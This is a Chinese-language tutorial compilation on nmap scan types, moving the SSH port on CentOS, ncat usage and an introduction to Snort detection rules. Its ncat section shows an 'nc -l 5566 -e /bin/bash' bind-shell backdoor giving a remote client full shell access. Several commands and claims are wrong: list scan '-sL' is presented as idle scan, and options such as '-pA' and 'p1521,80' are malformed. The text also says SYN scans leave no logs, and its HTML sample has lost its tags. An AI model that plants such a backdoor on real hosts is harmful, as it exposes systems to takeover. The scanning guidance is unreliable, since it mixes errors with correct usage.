centos下安装nmap工具及简单用法
1、yum安装nmap
yum install nmap -y
yum install nc -y
nmap 命令参数:nmap -h
2、nmap 常用命令介绍:
udp 检测
nc -vuz 221.23.4.5 6127
快速扫描端口模式,扫描100个最有可能开放的端口 -v 获取扫描的信息
nmap -F -v 192.168.43.118
Tcp SYN Scan (sS) 隐蔽扫描 这是一个不完整的扫描方式,它被称为半开放扫描,Nmap发送SYN包到远程主机,但是它不会产生任何会话,在syn扫描中不需要通过完整3次的握手,因此不会在目标主机上产生任何日志记录,这个就是SYN扫描的优势,但是这种扫描是需要root权限(对于windows用户来说,是没有root权限这个概念的,root权限是linux的最高权限,对应windows的管理员权限)
Tcp connect() scan(sT) 最常用
如果不选择SYN扫描,TCP connect()扫描就是默认的扫描模式,不同于Tcp SYN扫描,Tcp connect()扫描需要完成三次握手,并且要求调用系统的connect(),Tcp connect()扫描技术只适用于找出TCP和UDP端口,但是这种方式扫描的速度快,准确性高,对操作者没有权限上的要求,但是容易被防火墙和IDS(防入侵系统)发现。
UDP scan(sU)
顾名思义,这种扫描技术用来寻找目标主机打开的UDP端口,它不需要发送任何的SYN包,因为这种技术是针对UDP端口的。UDP扫描发送UDP数据包到目标主机,并等待响应,如果返回ICMP不可达的错误消息,说明端口是关闭的,如果得到正确的适当的回应,说明端口是开放的。
nmap -sU 192.168.43.118
FIN scan (sF)
有时候Tcp SYN扫描不是最佳的扫描模式,因为有防火墙的存在,目标主机有时候可能有IDS和IPS系统的存在,防火墙会阻止掉SYN数据包。发送一个设置了FIN标志的数据包并不需要完成TCP的握手,收到RST回复说明该端口关闭,否则说明是open或filtered状态
nmap -sF 192.168.43.118
PING Scan (sP) 扫描在线主机
PING扫描它只用于找出主机是否是存在在网络中的,它不是用来发现是否开放端口的,PING扫描需要ROOT权限,如果用户没有ROOT权限,PING扫描将会使用connect()调用。
nmap -sP 192.168.43.118
版本检测(sV)
版本检测是用来扫描目标主机和端口上运行的软件的版本,它不同于其它的扫描技术,它不是用来扫描目标主机上开放的端口,不过它需要从开放的端口获取信息来判断软件的版本,使用版本检测扫描之前需要先用TCP SYN扫描开放了哪些端口。
nmap -sV 192.168.43.118
Idle scan (sL)
Idle scan是一种先进的匿名扫描技术,它不是用你真实的主机Ip发送数据包,而是使用另外一个目标网络的主机发送数据包,例如:通过目标网络中的192.168.43.118向主机192.168.43.4发送数据,来获取192.168.1.1开放的端口。
nmap -sL 192.168.43.118 192.168.43.4
有需要其它的扫描技术,如 FTP bounce(FTP反弹), fragmentation scan(碎片扫描),IP protocol scan(IP协议扫描),以上讨论的是几种最主要的扫描方式。
Nmap的OS检测(O)
Nmap最重要的特点之一是能够远程检测操作系统,Nmap的OS检测技术在渗透测试中用来了解远程主机的操作系统是非常有用的,通过获取的信息你可以知道已知的漏洞
nmap -O 192.168.43.17
ACK扫描:
利用ACK扫描判断端口是否被过滤。针对ACK探测包,为被过滤的端口(无论打开或关闭)会回复RST包
nmap -sA -T4 p1521,80 192.168.43.17
使用TCP ACK (PA)和TCP Syn (PS)扫描远程主机
nmap -pA -T4 p1521,80 192.168.43.17
nmap -pA -T4 p1521,80 192.168.43.17
扫描前不进行Ping扫描测试:
nmap -Pn p1521,80 192.168.43.17
通过tcp空扫描以绕过防火墙检测:
nmap -sN 192.168.43.17
打印主机接口和路由
nmap --iflist
按顺序扫描端口:
nmap -r 192.168.43.118
扫描主机检测是否有防火墙过滤:
nmap -PN -p 1521 192.168.43.17
扫描操作系统信息和路由跟踪
使用Nmap,你可以检测远程主机上运行的操作系统和版本。为了启用操作系统和版本检测,脚本扫描和路由跟踪功能,我们可以使用NMAP的“-A“选项。
nmap -A 192.168.43.17
扫描端口时状态介绍:
Open 端口开启,数据有到达主机,有程序在端口上监控
Closed 端口关闭,数据有到达主机,没有程序在端口上监控
Filtered 数据没有到达主机,返回的结果为空,数据被防火墙或者是IDS过滤
UnFiltered 数据有到达主机,但是不能识别端口的当前状态
Open|Filtered 端口没有返回值,主要发生在UDP、IP、FIN、NULL和Xmas扫描中
Closed|Filtered 只发生在IP ID idle扫描
以上总结来源于网络。
Centos6.x修改ssh端口
在实际的生产环境中,我们会把我们的服务器暴露在网络中,这时候就会有很多的黑客利用端口扫描软件扫描网络中常用的端口进行攻击,入侵服务器。为了增强措施我们有必要将我们的服务器的ssh等敏感端口隐藏起来。所以下面
1、修改在防火墙关闭22端口开启55555端口(随意)
vim /etc/sysconfig/iptables
-A INPUT -m state --state NEW -m tcp -p tcp --dport 55555 -j ACCEPT
2、重启防火墙
/etc/init.d/iptables restart
3、修改ssh服务器的端口号为 55555,要与上面一致
vim /etc/ssh/sshd_config
Port 55555
4、重启ssh服务器
/etc/init.d/sshd restart
ssh 连接就行了:
ssh root@{ip} -p55555
ncat命令使用实例
Ncat工具功能类似于cat 命令 ,但用于网络。它是一个 命令 行的工具,用于跨网络读取、写入和重定向数据。它被设计成一个可靠的后端工具,可以与 脚本 或其他程序一起使用。
ncat可以是端口扫描工具,安全工具或监视工具,并且还是简单的TCP代理。由于它具有许多功能,因此被称为网络瑞士军刀。它是每个系统管理员都应该了解工具之一。
系统环境
Centos 8
如何安装ncat
在Centos7/8系统中ncat安装包名称为nmap-ncat
[root@server1 ~]# yum -y install nmap-ncat
一、检查TCP的80端口的连接
此示例我们将检查主机名为DCserver的80端口连接。
[root@server1 ~]# nc -vz DCserver 80
Ncat: Version 7.70 ( )
Ncat: Connected to 192.168.0.6:80.
Ncat: 0 bytes sent, 0 bytes received in 0.01 seconds.
-z选项为“Zero - I/O 模式”,用于检查连接状态。
二、创建一个监听端口
下面命令可以创建一个tcp监听端口:
[root@server1 ~]# nc -vl 1234
Ncat: Version 7.70 ( )
Ncat: Listening on :::1234
Ncat: Listening on 0.0.0.0:1234
使用netstat -tlunp查看一下:
在另一台主机中,使用nc命令测试一下该端口的连接:
[root@server1 ~]# nc -vz 192.168.43.131 1234
Ncat: Version 7.70 ( )
Ncat: Connected to 192.168.43.131:1234.
Ncat: 0 bytes sent, 0 bytes received in 0.01 seconds.
然后返回到侦听端,可以看到来自192.168.43.131的45568端口连接侦听端的1234端口。
[root@server1 ~]# nc -vl 1234
Ncat: Version 7.70 ( )
Ncat: Listening on :::1234
Ncat: Listening on 0.0.0.0:1234
Ncat: Connection from 192.168.43.131.
Ncat: Connection from 192.168.43.131:45568.
可以使用-k选项,让侦听端保持打开状态。
三、作为聊天工具
ncat可以用作聊天工具,我们将服务器配置侦听端口,远程主机连接服务器的同一端口并发送消息。在服务器端,运行下面命令开启侦听端口:
[root@qdzabbix ~]# ncat -l 8080
在远程主机中运行下面命令,并且在下面输入聊天内容,按回车发送,在服务端可以看到消息内容了。
[root@server1 ~]# ncat 192.168.0.12 8080
Hello qdzabbix
下面在服务端和远程主机都可以看到消息内容。
想要退出,只需要按Ctrl + c就可以。
四、检查SSH软件版本
可以使用nc命令通过将EXIT命令发送到ssh的22端口上,来检查服务器软件版本,如下所示:
[root@server1 ~]# echo "EXIT" | nc 192.168.43.131 22
SSH-2.0-OpenSSH_7.8
Protocol mismatch.
五、使用ncat创建后门
可以使用ncat命令创建后门。此功能主要由黑客使用。可以这样运行命令,在服务端执行下面一条命令:
[root@qdzabbix ~]# nc -l 5566 -e /bin/bash
-e选项后面指定运行的命令。现在客户端可以连接到服务器上的端口5566,并且可以通过运行以下命令通过bash完全访问我们的系统:
[root@server1 ~]# nc qdzabbix 5566
ls
anaconda-ks.cfg
a.txt
batch
Customer_Supplied_Tickets
custom_resolv.conf
下图中红线圈出来的就是执行的命令。
六、使用ncat运行带有静态页面的Web服务器
可以在本地主机上使用ncat命令启动Web服务器,这将打开静态网页面sample.html。你可以运行如下命令:
首先将下面内容保存到/root/sample.html文件中。
[root@qdzabbix ~]# vim /root/sample.html
html
head
titleTest Page/title
/head
body
h1Level 1 header/h1
h2Subheading/h2
pNormal text here/p
/body
/html
然后执行下面命令:
[root@qdzabbix ~]# while true; do nc -l -p 80 /root/sample.html ; done
上面命令中,-p 88选项指定源端口为80。
在浏览器中访问,可以看到页面内容。
总结
ncat工具可以帮助你从使用telnet进行连通性测试切换到使用ncat测试连通性。
centos下的snort如何在检测到各种攻击,并且将预警显示在base上,如端口扫描,arp欺骗,DDOS攻击等。
snort是一个强大的轻量级的网络入侵检测系统。它具有实时数据流量分析和日志IP网络数据包的能力,能够进行协议分析,对内容进行搜索/匹配。它能够检测各种不同的攻击方式,对攻击进行实时报警。此外,snort具有很好的扩展性和可移植性。本文将讲述如何开发snort规则。
1.基础
snort使用一种简单的规则描述语言,这种描述语言易于扩展,功能也比较强大。下面是一些最基本的东西:
snort的每条规则必须在一行中,它的规则解释器无法对跨行的规则进行解析。注意:由于排版的原因本文的例子有的分为两行。
snort的每条规则都可以分成逻辑上的两个部分:规则头和规则选项。规则头包括:规则行为(rule's action)、协议(protocol)、源/目的IP地址、子网掩码以及源/目的端口。规则选项包含报警信息和异常包的信息(特征码,signature),使用这些特征码来决定是否采取规则规定的行动。
这是一个例子:
alert tcp any any - 192.168.1.0/24 111(content:"|00 01 86 a5|";msg:"mountd access";)
表1.一条简单的snort规则
从开头到最左边的括号属于规则头部分,括号内的部分属于规则选项。规则选项中冒号前面的词叫做选项关键词(option keywords)。注意对于每条规则来说规则选项不是必需的,它们是为了更加详细地定义应该收集或者报警的数据包。只有匹配所有选项的数据包,snort才会执行其规则行为。如果许多选项组合在一起,它们之间是逻辑与的关系。让我们从规则头开始。
0条大神的评论